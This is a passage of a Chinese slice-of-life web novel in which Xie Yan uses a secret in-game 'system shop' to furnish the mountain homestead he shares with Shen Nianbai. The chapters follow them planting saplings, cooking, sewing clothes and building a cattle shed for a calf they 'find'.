昨天来的时候走了将近三个时辰,今天回去背了这么多东西也才走了这些时间。
回到家已经是下午了,谢言没看到沈念白,便高声喊他,“念白。”“念白。”
喊了两声没人应,谢言心下不由得担心起来,不会出什么事了吧?
谢言去看了兔圈里的兔子,草是新鲜的,应该是今天早上新割的,这让谢言稍微放下了心,早上都还在喂兔子,应该只是去山上做活了。
趁这个机会,谢言打算用经验值在系统商城里多买些日常需要的物品。
谢言进了竹屋,原本空落落的房间,现在多了一张崭新的竹床,大概有一米五宽,两米长,睡他和沈念白绰绰有余了。
谢言将背篓放了下来,然后坐到竹床上进入系统商城里挑选物品。
现在谢言一共有三千二百一十二点经验值,系统商城里的东西可以随便买了。
谢言挑挑选选的买了,三齿叉,五齿耙,扇头锄,铁锹,小斧头,火钳,剪刀,羊角锤,
簸箕,畚箕,筲箕,蓑衣,每样一个,共计用了经验值:一百七十。水桶买了两个,花了二十点经验值。
谢言还买了一些秋天能种的种子,牲畜暂时还喂不了,于是只能买些果树的苗苗先种着。
系统商城里的果树苗种类十分丰富,谢言挑了些最平常的果树苗,准备试试看山上能不能种出来,于是他买了沙糖桔、芒果、荔枝、枇杷、蜜柚、香蕉、三华李、板栗、苹果、梨子、柿子、白花桃、大枣、山竹、榴莲。
每种果树苗都是二十点经验值,共计十五种,共计花费三百点经验值。
果苗虽然便宜,但非常小,就跟才发芽似的,比谢言的手指长不了多少。谢言看着有些老火,‘这么小,能栽活吗?’
系统回他,‘同样的问题宿主不要重新问。’
谢言无语,但又没办法,只能沉默着不说话了。
现下能买的差不多都已经买完了,暂时用不到的也不必买来占地方,谢言便开门准备出去,结果刚一开门就看见了从山上回来的沈念白,他高兴得大喊了他一声,“念白。”
9. 第 9 章
听到他声音的沈念白先是愣了一下,在看清他的脸后立马扔了手上的东西,飞快的朝他跑了过来。
沈念白重重的撞到谢言身上,双手紧紧的抱住了他,哽咽的喊了一声,“谢言哥。”
谢言被他撞懵了,后知后觉的他才意识到沈念白似乎很缺乏安全感,他安抚的拍了拍沈念白的背,温声说道:“不好意思让你担心了。”
这态度很好的安抚了沈念白,他放开谢言,低着头有些不大好意思看他。谢言主动的拉起他的手,“来看看,我买了什么好东西。”
谢言拉着他来到背篓前,掀开背篓上的废布,露出里面满满当当的东西,兴奋的说道:“当当当,我们有肉吃了,再也不用天天吃鱼片了。”
沈念白看着背篓的里的东西,眼眶通红,他蹲下身小心翼翼的抚摸着布匹,明明是最次的布料,但他像是在摸绝世珍品一样。他的神情专注而内敛,眼中像是下了一场暴雨,谢言跟着他蹲了下去,小心翼翼的问道:“怎么了?”
沈念白吸了鼻子,眼泪不受控制的滚出来,他赶紧伸手擦了,“没什么,太高兴了。”
他的手上沾了泪,他便不敢在去摸布料了,只是看。
见沈念白如此,谢言有些后悔,他该给沈念白买更好的布料的。
“这布料不好,等下次去城里,我一定给你买更好的布料。”
听了他的话沈念白抬头看向他,赶紧解释道:“我没有觉得布料不好,我是觉得太好了,从小到大我都是穿哥哥不要了的旧衣服,我是太开心了。”
谢言抬手摸了摸他的头,“咱们的日子一定会好起来的。”
沈念白重重的点了头,“一定会的。”
谢言适时的转了话题,“把东西拿出来吧,今天晚上咱们吃点好的。”
说到吃好的,沈念白也从悲伤的情绪里抽身出来了,他忍不住笑着应承,“嗯。”
拿出来也只有暂时放地上,因为屋里还没有添置可以收纳的柜子之类的,谢言又开始后悔了,他刚才就应该在系统商城里买一个柜子的,现在倒好,东西也没有地方搁。
沈念白不知道他在想什么,只是商量道:“等会我做几个架子,就能放东西了。”
谢言笑道:“念白真厉害,什么都会做。”
沈念白被他夸得有些不好意思,“都是些简单的手工活罢了。”
回来的时候买了十个馒头,谢言只吃了四个,还剩下六个。谢言将馒头递给沈念白,“吃馒头,味道很不错的。”
沈念白接了过去,但也没有吃,只是在手上拿着。他看向谢言说道:“谢言哥,你这两天都没怎么吃饭吧,今天晚上我们早点吃。”
谢言点头,有意支开沈念白,“行,你去忙吧,我休息一会儿。”
“好。”沈念白应了声,用筲箕装着肉出了门。
等沈念白出了门,谢言又赶紧去系统商城买了三个饭碗,五个汤碗,五个碟子,还有两个汤勺,共计花费六十二点经验值。
谢言拿到东西就出了门给沈念白送去了,“在街上买的,刚才忘记了。”
沈念白接了过去,想起屋里的一堆东西,不由的好奇的问道:“谢言哥,蝉蜕真的这么值钱啊?”
谢言回了他,“三百文一斤。”说完谢言又意识到屋里那些东西已经远超他所卖的钱了,又挽回着说道,“我昨天运气很好,捡了好几斤呢,在街上遇到的老板都挺好的,见我穿得可怜,给我少了不少钱。”
其实他不解释沈念白也不会怀疑什么,因为沈念白从没有去过镇上,他也没有钱,在他的思维里,三百文已经是非常多的钱了。
听到他这么说沈念白越发开心了,“城里的人真好。”
这个话题谢言并没有多说,他担心万一说漏嘴了,又要撒谎去圆,只道:“嗯,有匹被马踩脏了,老板少了差不多一半的钱,只是要洗洗。”
沈念白回道:“洗洗不碍事便宜就好,我昨天去山里看到一颗皂角树,等会儿我就去摘点回来洗。”
谢言又说起了果苗的事,“我回来的时候遇到卖果苗的老板收摊,送给了我几颗小果苗,我想种在家门口,你觉得怎么样?”
沈念白想了一下,迟疑的说道:“种家门口啊。”
谢言听出来这语气是不大同意的意思,便问道:“种家门口不好吗?”
沈念白解释道:“如果以后要建房子,石料木料肯定需要很多,到时候家门口肯定要堆这些东西,果树种近了,到时候怕没那么方便。”
有道理,谢言把这茬给忘记了,“行,那咱们稍微种远点。”
沈念白怕谢言太累了,又说道:“竹屋其实也挺好的。”
谢言道:“竹屋好也不能住一辈子,不过今年估计建不上房子,今年我打算把荒山多开些出来种地,等明年在开始建房子好了。”
沈念白也觉得这个安排合理,他们现在有住的地方了,是该解决吃饭的问题了。
“嗯,听谢言哥的。”
谢言笑着摸了摸他的头,“等种出了粮食咱们就能养牲畜了,到时候天天都能吃上肉了。”
沈念白跟着他笑,“嗯。”
看着沈念白的笑,谢言心情也非常的好,干劲蹭蹭的往上冒,“那我先去把果苗种起来。”
沈念白劝他,“累了这么久了,休息休息在去吧。”
谢言拒绝了,“不用,今晚早点睡就成,那果苗我看小得很,栽晚了我怕栽不活。”
听他这么说,沈念白也没有在说什么了,“好。”
谢言将果苗放在背篓里,背着背篓扛着锄头就出了门。他也没有走多远,就在离家不到一百米的地方停了下来。朝正在河边洗菜的沈念白喊道:“这里怎么样?”
沈念白听到他的话抬头看去,觉得有些太远了,于是回道:“可以在回来一点。”
谢言听了他的话便往回走了一截,大概二十米的样子,又问道:“现在呢
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?”
沈念白回道:“差不多了吧。”
“好。”
谢言应了一声后将背篓放了下来,这些地都是荒地,谢言一直担心果苗栽晚了活不了,于是也没有把地全部铲干净,而是把要栽树苗的位置选出来,在选出来的位置把杂草铲干净。
铲出直径半米的一个圆,将圆圈内的土翻松,挖出一个坑,将果苗给栽进去。
果苗都长得差不多,谢言根本就分不清哪颗是什么品种,于是每颗苗都间隔两米。十五颗苗,错落的种了三排。
还没种完,谢言就已经闻到飘过来的肉香味了,这对于当了好几天苦行僧的谢言的来说简直跟救星一样,喉咙发了大水,导致他不停的咽口水。
在香味的勾引下,谢言种树的动作越发的快了,一颗颗细嫩的树苗种下地,本来就矮的苗子一种下地就更矮了,风一吹,颤巍巍的摇。谢言都怕风把它吹断了,但是他担心的事情并没有发生,果苗们都很□□。
果苗种好后,谢言就准备去担水来浇苗。他在系统商场里买了两个水桶,但是没有买扁担,山上到处都是树,谢言挑了一根拳头般粗的树,拍了拍树干,很结实,不过谢言出来的时候没有拿砍刀,所以他还得先回去拿砍刀。
谢言背着背篓回了家,此时沈念白已经在炒肉了,越走进香味越浓郁,香得谢言都快走不动道了,只想跑到灶旁边去守着。
不过谢言的心智到底已经成年人了,他克制住食欲,去屋里拿了砍刀。
沈念白见他拿砍刀还要去山上,便问道:“谢言哥,你干什么去?”
谢言如实回道:“去山上砍颗树做扁担,挑水浇果苗。”
沈念白道:“不用浇水了,我看这天快要下雨了。”
“嗯?要下雨了吗?”谢言抬头看了天色,见天空如往常一样,蓝天白云的,完全没有半点要下雨的意思啊。
沈念白也抬头看了天,与谢言说道:“你看那边的天有一团很大的乌云,晚上应该就会飘到我们这里来了。”
谢言顺着他看得方向看去,确实有很大的一片乌云,不过离他们这儿还挺远的。谢言不大看得懂天气,毕竟现代人都是看天气预报的,但他还是很相信沈念白的,“好,那就不浇水了,我只去把树砍回来,把扁担做好。”
沈念白劝了他,“休息一会儿吧,反正下雨也用不上扁担。”
“也好。”谢言也没有坚持,就在门口坐了下来,看着沈念白做饭,看着看着他发现只有一个锅,做起饭来很不方便。大概是之前只用煮鱼片的关系,所以一个锅也能用,但现在既要炒菜又要煮饭就显得特别不方便了。
那就在买一个锅,谢言这样想就这样做了,他进了屋里,又在系统商城里买了一个小铁锅,不过他只是买了并没有马上拿出去,因为灶只有一个,现在拿出去也没有用。
谢言看着屋里放着的乱七八糟的东西,心想,置办一个家可真不容易,他们的活还有得干呢。
10. 第 10 章
谢言将锅放在之前买的那堆东西里混着,也没有着急出去,便躺在竹床上休息。
才到初夏,山里并不太热,竹屋又比外面更凉快,躺在竹床上就更凉快了。谢言不想把床弄脏,便脱了上衣,擦了擦身上的汗,用衣服当做枕头垫在脑后,没一会儿就睡着了。
“谢言哥,吃饭了。”
谢言睁开眼睛,太阳光从竹屋的缝隙中照进来,丝丝缕缕的,尘埃在光路里涌动,特别梦幻,但现在的谢言并没有时间去欣赏,他的注意力全被空中的油脂香味所吸走了。
谢言从床上坐了起来,拿起睡得扁扁的衣服,随手一抖展开来。边穿衣服边走了出去,开了门,焦香的肉味更浓郁了,那味道就像是被炸开的马蜂窝一样,将他整个人完全的笼罩了起来,无孔不入的往他身体力钻去。
谢言止不住的咽口水,沈念白见他出来,递给他一碗饭,“呐,吃饭吧。”
碗里的饭有一层焦黄的锅巴,带着油气,看着就酥脆,还混了一些青色的野菜,谢言分辨不出来是什么菜。沈念白解释道:“我今天早上去挖了些马兰头,就着炒肉的油做的烘饭。”
谢言点头赞叹道:“看着就好吃。”
他们没有桌椅,不过他们今天晚上也只有一碗野菜炒肉,将背篓翻过来权当桌子,把装肉的碗放在上面。今天是他们吃的第一顿肉,讨个好兆头,沈念白没有抠搜,炒了整整一碗,不过他自己倒没怎么夹,就低着头一直吃饭。谢言看见了,就给他大夹了一筷子,“吃肉。”
沈念白看着碗里的大片肉,抬头看向谢言,声音有些哽咽,“谢言哥,我不喜欢吃肉,你自己吃吧。”
谢言理解他的顾虑,但他也没有多说,只是再一次强调道:“念白,咱们是一家人。”
所以,你不必那么生疏和害怕。
沈念白明白他的意思,他只是习惯了不能吃好东西,从出生就有的习惯他一时间有些改不过来,但听到谢言的话他重重的点了头,“嗯,我们是一家人。”
谢言朝他笑了笑没在说话。他想,没关系的,他不夹,那他给他夹就是了,总能把他养大的。
久未见荤腥,肥肉的滋味让人神迷。一口咬下去,油脂在嘴里爆开,浸润了干涸已久的味蕾,一片两片三片,最初的渴望过去,味蕾才正式开始工作,精确的分辨出了夹在其中的味道,除了野菜的香味,还有野小蒜的香味,再加上盐,与肉完美的融合在一起,堪称完美。
谢言吃得满嘴油光,不消一会儿一整锅烘饭和一碗肉就被两人消灭得干干净净了。
来这个世界,这还是谢言第一次吃得这么满足,他摸了摸吃撑的肚子,今日他也不打算在上山了,他要好好休息一晚上。
“念白,今晚我来洗碗吧。今天晚上咱们不做活了,好好休息一晚上。”
沈念白道:“不用,我很快就洗完了,谢言哥你先进去休息吧。”
谢言实在是累得很了,便也没有坚持,只是与他说道:“那你洗完了就休息,别在干活了。”
沈念白应了他,“好。”
谢言这才起身进了屋,躺床上就睡着了。
一觉睡到半夜,谢言被噼里啪啦的雨声给吵醒了,他睁开眼睛一片漆黑什么也看不见,床上也没有人,他有些心慌,连忙坐起来喊了一声,“念白。”
话音一落,一道响亮的雷在天空炸开,声音太响,就像是在谢言的头顶一般,亮白的闪电透过竹屋的缝隙照进来,白得有些瘆人。
借着这点光他也看清了屋里确实没有沈念白,他的心越发的不安了,这么大雨他会去哪里呢?
谢言赶紧穿着鞋出门,刚一开门就对上了门口沈念白的视线,他的身上全打湿了,怀里抱着两只可怜兮兮的兔子。
谢言见着了人,总算是松了口气,赶紧让开让人进来,“吓死我了。”
沈念白进了屋赶紧解释道:“我晚上睡觉的时候忘记把兔子抱进来了,刚才听到雨声我才想起来了,不过好在我昨天给兔圈编了竹排盖着,还没有湿透。”
谢言现在不关心兔子怎么样,他摸着沈念白打湿的肩膀,“衣服都打湿了,用布擦擦,裹着睡一晚吧。”
谢言现在都还记着沈念白身体弱的事,生怕他生病。
屋里看不见,谢言便摸索着随便拿了一匹布,走到床边,“我把布拿过来了,你把衣服脱了吧。”
黑暗中他听见沈念白应了他一声,“哦,好。”
沈念白将兔子放在地上,然后脱了衣服裤子,摸索着接过谢言手里的布将身上的水擦干,又换了一段将身体裹了起来。
谢言想着明天沈念白没衣服穿,便说道:“我去给你把衣服晾起来。”
沈念白连忙回道:“我自己去吧。”
谢言笑了笑,“你这样怎么去?没事,两件衣服能费什么事,快睡吧。”
沈念白也没有在坚持,只是十分感激的说道:“谢谢你,谢言哥。”
“这有什么,咱们可是一家人。”谢言应了他一句,捡起地上的衣服开门出去。他们所谓的晾衣服就是把衣服搭在屋檐下的竹竿上,因为他们根本就没有衣架。
谢言将衣服搭在衣架上,仔细的扯平后才又进屋关了门。他摸索着来到床上,一米五的床,睡两小孩绰绰有余,尤其是沈念白蜷缩成一团缩在角落里,留给谢言的位置就更宽了。
谢言感受着宽敞的床,也没有多说什么,只道:“睡觉了。”
沈念白应了一声,“嗯。”
谢言都闭上眼睛了还是不放心,便问道:“你觉得冷或者别的吗?”
沈念白回道:“没有。”随即又问道,“谢言哥,你觉得冷了吗?”
谢言道:“我不冷,我只是担心你。”
沈念白回道:“我没事,我刚才只是淋了一点雨,头发都没打湿呢。”
听他这么说,谢言才稍微放下了心,“你要是觉得不舒服或者怎么样,一定要马上叫醒我。”
沈念白微微愣了一下,才应道:“嗯。”
谢言又闭上了眼睛,他翻了个身,都快把床翻遍了愣是没有碰到沈念白一丁点,他不由得开始想象,沈念白跟穿山甲一样
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蜷缩成一团,可怜兮兮的团在角落里,手脚麻木了都不敢动。
越想越可怜了,谢言不由得出声喊了他,“念白。”
沈念白回他,“嗯。”
谢言道:“你是不是不想跟我一起睡啊?”
“没有啊。”沈念白的声音十分惊诧,似乎很不明白谢言为什么会这么问。
谢言委婉的说道:“我感觉你都没睡在床上。”
黑暗中,谢言听到沈念白的手在竹床上摩擦的声音,似乎比他睡的还要宽。
沈念白解释道:“我睡在这边。”
刹那间谢言就明白了,不是沈念白缩成一团了,而是他俩太矮了,一人睡一边根本就碰不到彼此。
谢言意识到闹了乌龙,也觉得有点不好意思,他略显尴尬的笑了笑,“我还以为我把你挤床下去了呢。”
沈念白往下缩了缩,脚就碰到了谢言的脚,他解释道:“没有,我担心睡不下,所以特意把床做得长。”
感受到沈念白的脚是温热的,应该不会生病了,此时谢言也没有可担心的了,打了个呵欠说道:“快睡吧。”
“嗯。”
谢言这才闭上眼睛又睡了过去。
一夜好眠。
第二天谢言难得的睡到日上三竿才起,他睁开眼睛看到阳光照进了屋中,便知道今日是个大晴天,床上没人了,沈念白已经起了,谢言伸了个懒腰也坐了起来。昨天他没仔细看,今日一看竹床果然很长,他大概估量了一下,应该有二米三了。
谢言起床穿着草鞋出了门,灶里的火还未全熄,沈念白蹲在地上正拿着草喂兔子。兔子太小了,沈念白就手拿着嫩草引着兔子去吃,两兔子吃得耳朵一颤一颤的,看起来非常的健康,昨天的淋的雨完全没有影响。
听到声音沈念白朝他看了过来,笑着喊了声,“谢言哥。”
沈念白看起来精神头很足,没有一点问题,谢言悬着的心彻底的放了下来,笑着回了他,“早。”
沈念白把草放在地上让兔子吃,自己则起身走了过来,“饭好了,咱们吃饭吧。”
谢言随口说道:“我睡得沉,饭好了你先吃就是,不用特地等我。”
沈念白揭开盖子,一股喷香的米饭香气喷涌而来,沈念白没有回他,而是说道:“早上还是吃烘饭,今天我做个甑子,赶明儿就可以吃大米饭了。”
能吃米饭就行,谢言倒是不挑,“行,你看着办就是,我吃了饭等会就去把那口野塘给整理出来。”
野塘周围长满了草,比人都要高了,沈念白突发奇想,“要是有牛的话就不用浪费这么多草了。”
牛?
谢言一想,对啊,他们应该喂头牛的啊,一来牛不用吃粮食,只要吃草就行了,二来明年开春了要种地,还需要牛耕地的啊。
牛倒是能有,但问题是要怎么跟沈念白解释他家凭空出现了一头牛呢?
谢言想不出好办法,那就只有老办法,就说是山里捡的。
为了让沈念白相信山里真能捡东西,谢言这次还准备让沈念白去捡。
11. 第 11 章
谢言的想法自然瞒不过系统,系统也没为难他,痛快的答应了。
吃完饭,沈念白洗完碗后就背着背篓拿着砍刀去竹林里,他要做甑子,用竹子做最简单,谢言原本是想让他先把衣服给做出来的额,不过他要捡牛,便没有阻止他。
沈念白进了山,谢言还是照计划去清理野塘,在家畜没有喂起来之前,鱼对他们来说是很重要的食物。
清理野塘就是把池塘边上的茅草给割了,在修一条小路出来方便去捉鱼。谢言盘算着,以后可以在池塘边多种些花啊,果树什么的,看着就好看了。
谢言拿着镰刀去割草,刚割了一小段就听到沈念白激动的声音传来,“谢言哥,谢言哥。”
谢言知道他看到小牛了,裂开嘴起身笑着回道:“诶,出什么事了。”
沈念白风风火火的跑到他面前,激动的抓着他的手臂,“谢言哥,你猜我看到什么了?”
沈念白抓得很紧,脸上一层汗,跑得太快了有些气喘,但他的眼眸亮闪闪的。
谢言虽然知道内情,但现在也不可能说,只玩笑的猜测道:“难不成捡到钱了?”
被这么一比,沈念白又没有那么激动了,“哦,那倒是没有。”
谢言追着问道:“那看到什么了?这么激动。”
“牛。”说起这个沈念白还是激动的,“一头小牛犊,就在竹林边上。”
谢言也装着激动了起来,“真的是小牛犊,你没看错?”
沈念白忙不迭的点头,“真的,我绝对没有看错。”
谢言拉起他的胳膊,“走,去瞧瞧去。”
“走。”
两人一道赶到了竹林,确实是一头很小的牛犊,看起来就跟刚出生一样。谢言赶紧双手合十拜拜,口中念念有词,“感谢山神,感谢山神。”
沈念白虽然不大明白原委,但也赶紧学着他的样子双手合十拜拜,“感谢山神,感谢山神。”
小牛犊就站在那儿没动,谢言上前拍了拍它的头,“嘿,跟我走吧。”
没有绳子,也没办法牵,但那小牛犊就跟通人性似的,真的跟他走了。沈念白见状惊讶极了,“难不成真的是山神送给我们的?”
谢言笑道:“应该是吧。就算不是,现在也是我们的了。”
沈念白到底还是有些担心,“谢言哥,你说这会不会是周围村里的牛啊?”
谢言也没有说得太绝对,只是说道:“不会吧,现在又不耕田,放这么小的牛犊出来干什么,而且这几匹荒山都是我的,他们要放牛也不会到我的山上来放。”
沈念白被他说服了,“也是哈。”
谢言继续说道:“就算是周围村里的牛,咱们捡着了,帮他喂着,就算找来了也挑不出咱们的错处来了。”
虽然根本不会出现这种事,不过哄小孩子嘛,怎么说都行。
沈念白点头,“嗯,谢言哥说得有道理。”
两人把牛带了回去,现在又有一个问题了,牛住哪儿啊?
总不能让牛竹屋里,更不可能让它露天席地的,万一生病了就麻烦了。所以还得给它建个牛棚。
谢言与沈念白商量,“牛棚建哪里合适?”
一般来说牛都是在后院的,但他们现在住的本来就简陋,也没什么后院不后院的,沈念白说:“牛棚建好了可以一直用,是要选个好点的位置。”
两人商量了一阵,最后决定将牛棚建在竹屋后面三米远的地方,这个距离不近不远的,方便照看也不至于闻到臭气。
建牛棚现在是最紧迫的事情了,谢言不去清理野塘了,转而开始建牛棚。
牛棚就比人住的要简单多了,现在这个天气,只要不淋雨就成。谢言设想了一番,用六根碗口粗的木头当立柱,上面在加上屋顶就能把牛棚搭起来了,只要在冬天来临前把四面墙给遮起来就行。
谢言把想法与沈念白说了,沈念白也没有异议,谢言便拿着锯子准备上山了,“我去砍树,牛不会跑的,你不用担心。”
沈念白就算担心也没时间一直看着牛,这么小的牛要吃很嫩的草,所以他还得专门去给牛割草,而牛的食量很大,按沈念白家里之前养的那头牛,一天能吃三大背篓的草,小牛吃不了三大背篓,也要吃一背篓的。
沈念白道:“那我去割草。”
山上没有草,只有野塘,小河附近才能割到牛吃的草。附近草木茂盛,之前就割了两天嫩草喂兔子,现在还有大量的草可以割。
但谢言觉得割草回来喂太麻烦了,反正到处都没有庄稼,也不怕牛踩坏。于是他说:“让它自己去吃呗,还要割回来,太费劲了。”
沈念白一想也是,以前在家割草回来喂牛,是怕牛把庄稼给吃了,现在他们又没有庄稼,让牛自己去吃当然省事。
“行,那我还是去砍根竹子回来做甑子。”
谢言现在阻止了他,“反正我要上山,我顺便给你砍回来就是,不用单独跑一趟了。”
沈念白应了,“好。”
话说到这儿就没了,两人互相看着一时都没有说话,沈念白眨了眨眼睛,虽然还是黑黑瘦瘦的,但看着有些别样的可爱,“谢言哥,那我今天该干什么呢?”
不得不说沈念白很会看人脸色,谢言都没有表现出什么,但他也猜到他有安排。
谢言也是个能听懂话的,笑着玩笑道:“你是我肚子里的蛔虫啊。”
玩笑归玩笑,谢言还真安排起来了,“我想着布料都买回来了,咱们一直不换衣服也不合适。”
沈念白点头应道:“是,我把这事给忘记了,那我今天就把衣服做出来,谢言哥你喜欢哪种颜色?”
布料都是谢言挑的,自然都是他喜欢的,“我都行,你看着办就是。我上山去了。”
沈念白应了他,“好。”
谢言将锯子和砍刀放在背篓里,背起背篓就上了山。
山上到处都是树,根本不用走多远,但谢言想着要去砍竹子,便还是往竹林那个方向去。
这条路他们
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天天走,路上的草都踩死了,变成了一条山间小路。
来到竹林,虽然沈念白说只要一根竹子,但谢言还是砍了两根。从长分枝的地方将竹子砍断,只留下坚韧的竹身。
谢言扛着竹子往回走,刚才过来的时候谢言已经看好需要的树了。
放下背篓拿出锯子就开始锯树,碗口粗的树实在算不上大,几分钟就能锯好一根。
牛棚两米高就够了,在预留出插进土里的长度,两米三绝对够了。
做饭要柴火,谢言把不要的树枝堆放在路边,等晒几天干了就全部捡回去烧火。
六根木头很快就锯好了,但木头比竹子可重多了,谢言一次只能扛一根回去。
往返七次,总算是把木头全部给扛回去了,谢言的肩膀都压出了血印子,又热又汗,谢言将最后一根木头扔到地上,发出‘轰’的响声。沈念白听到声音从屋里出来,看到谢言累得满头大汗的,便喊道:“谢言哥,休息会吧,我去给你舀点水喝。”
谢言伸手抹了一把脸上的汗,回了他道:“不用,我去河里洗个澡。”
他们现在都是喝河里的水,听他这么说沈念白便不在说什么,“衣服快做好了,你洗了回来试试。”
谢言听得很惊讶,“这么快就做好了?”
在他的想象中,一套衣服起码也要做一天的。
沈念白知道他不会做衣服,解释道:“最基础的款式,布片裁下来缝上就行了,要不了多久的。”
谢言确实不会做衣服,听他这么说自然就信了,“行,我洗了回来试。”
“嗯。”
谢言去了河里洗澡,不管天多热,山里的水都是凉凉的,很是舒服。谢言热得实在难受,脱了衣服,直接憋气躺在了河里。
河里水深大概五十公分,人完全躺下去后能彻底被水淹没,能感受到河水缓缓的流过身体,将身上的灰尘汗渍全部带走。
谢言睁开眼睛,透过清亮的水面看蓝天白云,树影摇曳,盛大的阳光从斑驳的树梢中透过来,在水中折射出彩虹的颜色。鸟儿在山林里叫,青蛙在耳边叫,知了在树上叫,它们的声音隔着河水都变得很轻很轻,潺潺的水声拂过耳廓,像听了一首大自然演奏的舒缓轻音乐。
一切都很美好,如果谢言不是快要被憋死的话就更好了。
谢言猛地从水里坐了起来,大口大口的喘气,水被他带了起来,哗啦啦的响,被降低的声音一瞬间恢复了正常,对比之下显得格外的大声了。
谢言浇起水认真的洗了澡,洗干净后这才穿上裤子回家了,至于上衣他就放在了河边。反正都要洗,拿来拿去的麻烦。
谢言穿着草鞋哼着歌往家走,草鞋踩在草上,软软的,有种惬意的感觉。金色的阳光洒在他的身上热乎乎的,很快就将他身上的水珠晒干了。
说到麻烦,谢言想起之前沈念白说他在山上看到有皂角树,与其去山里摘,还不如移到河边来种,这样洗衣服的话随手就能摘了,也不用把皂荚拿来拿去的。
12. 第 12 章
谢言回到家,沈念白恰好收了最后一针,是一套深灰色的衣服,很简单的款式。
“谢言哥,试试看能不能穿?”
沈念白将衣服裤子递给了谢言,谢言接了过去,沈念白便起身出了门。
沈念白关了门,屋里就只有谢言一个人了,他将新衣服放在床上,又脱了裤子,抖了抖身上的水,这才拿起新衣服展开在身上比了比,应该能穿。
新衣服略有些长,衣摆都垂到大腿了,大倒是不大,腰带一系还挺贴身的。
谢言穿着新衣服出了门,像沈念白展示一番,“怎么样?”
沈念白看着他赞扬的说道:“谢言哥长得好看,穿什么都好看。”说罢又解释道,“我特意做得长些,能多穿两年。”
谢言知道他的用意,他们这个年纪正是长身体的时候,只要营养跟上来了,个头就会蹭蹭的长,他点头,“嗯。给你自己也做几套,不用担心布料,我们以后肯定会挣到钱的。”
沈念白点头应他,“我知道的,谢言哥。我先去做饭了。”
“好。”
沈念白做饭要先去河边洗菜,进屋就将谢言的换下来的脏裤子一起拿到了河边。
谢言有点累了,就没有忙着去搭牛棚,而是又去山上选了两根带分叉的树,跟谢言的拳头差不多大,大小正适合,谢言便砍了扛回了家。
谢言回来的时候沈念白也已经回来了,谢言与他说话,“念白,我做个晾衣架,你觉得放哪里合适?”
沈念白看了看,指向了竹屋的右侧。因着牛棚在竹屋的左侧,晾衣服的地方自然不能跟牛棚近了,“我觉得那儿就挺好的。”
“行。”谢言自然没有异议。
谢言将树底的一头削成尖的,然后在选好的位置用锄头挖了坑,将削尖的木头狠狠的插进坑里去往后用刚才挖出来的土埋了起来,用力的踩实。
两根木头间隔了三米,谢言觉得就他们两个人应该是够用了,至少这个夏天肯定是够了的。
饭还没做好,谢言便又去了竹林,想着砍一根长点的竹子做晾衣杆。
来到竹林,竹林的竹子大多都长得挺好的,又直又长,谢言大概的选了选,选了一根不算太粗的,砍倒后把只把最上面的分叉给剃了,就扛着回家去了。
一走近就闻到了肉香,随即就听到沈念白远远的喊他,“谢言哥,别忙活了,准备吃饭了。”
谢言应了他一声,“好。”
谢言将竹子扛到河边,浇水洗干净后这才扛着回家,放到了刚才做的架子上。竹子一点没有砍,放上去比架子还长些,谢言就问了沈念白,“多出来的这截要砍吗?”
沈念白抬头看了过去,“不用砍,留着可以多晾些衣服。”
“行。”
既然不用砍,谢言拍了拍手就收工了。
天气越来越大了,之前做灶的时候没想着要防晒,现在才意识到这灶台一整天都是晒着的。谢言走到门口坐下,沈念白也刚刚把饭做好,没有甑子还是只能吃烘饭。
一揭开锅盖,一股喷香的肉混着米饭的香气弥漫开来,香得人口水直流。
沈念白盛了一碗递给谢言,肉和饭不多,多的是野菜,但因为有肉和白米饭,所以闻着很香。
沈念白解释道:“去城里一趟不容易,所以我想着肉和米还是节省点。”
谢言接过碗,点头附和着他的话,“嗯,上次卖蝉蜕的钱剩得也不多了,节省点是好的。”说着看向了兔圈里的小兔子,“等兔子长大了,咱们就能尽情的吃肉了。”
沈念白顺着他的视线也看向了小兔子,若有所思的说道:“不知道这两兔子是公的还是母的?”
谢言道:“一公一母吧。”
沈念白道:“那它们以后会生很多小兔子。”
“应该是吧。”
虽然谢言之前买的时候确实是打的这个主意,不过现在想来要是让兔子生崽,那他们岂不是很久都要吃不上肉了。
沈念白看着谢言的神色就猜到他在想什么,宽慰他道:“兔子长得快,生的也多,只要熬过最开始这段时间我们就有肉吃了。”
谢言本来打算多买些兔子来喂,但转念一想,他们现在的事情本来就多,兔子多了沈念白就更忙了,于是犹豫了片刻后还是作罢了。倒不是谢言不想吃肉,而是谢言想着野池塘还有那么多鱼,不吃留着也浪费,还不用费事去养。
“嗯,那我们这段时间还是多吃鱼。”
沈念白点头应道:“好。”
吃完了饭,谢言有些犯困,打着呵欠与沈念白说道:“中午别忙活了,睡个午觉吧。”
沈念白随口就应了他,“嗯,我知道的,谢言哥,你先去睡吧。”
“好。”谢言打着呵欠进了屋,倒头就睡了。
一觉醒来已经是下午了,谢言睁开眼坐起来,屋里只有他一个人,没有看到沈念白。谢言穿了鞋出去,一开门就看到沈念白在屋檐下坐着做甑子,都已经做得差不多了,现在正在编蒸底。
沈念白听到声音抬头看向他,喊了声,“谢言哥。”
一看他就没有睡午觉,谢言随口问道:“怎么不睡午觉?”
沈念白回道:“不怎么困,睡也睡不着,索性把甑子做了。再把甑盖编好甑子就做好了,今天晚上咱们就可以吃甑子饭了。”
谢言也没有在说什么,只点头,“行,我去搭牛棚了。”
“好。”
沈念白应了他一声,又低头开始忙活了。
谢言朝牛棚走去,路上远远的看到小牛在河边吃草,谢言突然一个激灵,他的衣服还在河边放着,牛不会把他的衣服吃了吧,但他一转头就看到他的衣服已经洗干净晾在竹竿上了。
谢言这才松了一口气,现在衣服对他们来说是很重要的东西,每一件都是很宝贵的。
谢言来到牛棚,将上衣脱了好好的放在旁边,这才开始干起活来。
搭牛棚之前,先确定位置。谢言随手捡了一根棍子,在地上画出牛棚的位置,大概宽两米,长三米,这样就算以后再养一头牛也够用。
位置确定好后,又确定柱子的点位。点位就更好确定了,一共只有六根柱子,四个角是确定的,剩下的两根柱子自然是在长的中间,也就是长一米五的位置。
点位确定好后,就开始挖孔。往下挖个三十公分就够了,六个孔挖好,将准备好的木头一根一根的埋到坑里去,用力的踩实,用力摇晃确定不会动之后,柱子就做好了。
屋顶还是用竹子
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做更省事,于是谢言又去砍竹子。
去屋里拿锯子时,沈念白已经没在家了,只有一个崭新的甑子放在屋檐下,谢言走过去拿起来看了,跟他小时候在爷爷奶奶家用的一模一样,只不过那个甑子用得太久已经被米香味浸染了,而他手里的这个则带着一股竹子的清香味。
谢言将甑子放回原地,他喊了声,“念白。”
没有人回他,应该是上山去了。谢言进屋拿锯子的时候看见背篓没在了,应该是被沈念白背走了。谢言忍不住想,沈念白跟个小陀螺一样,一整天都在不停的转。
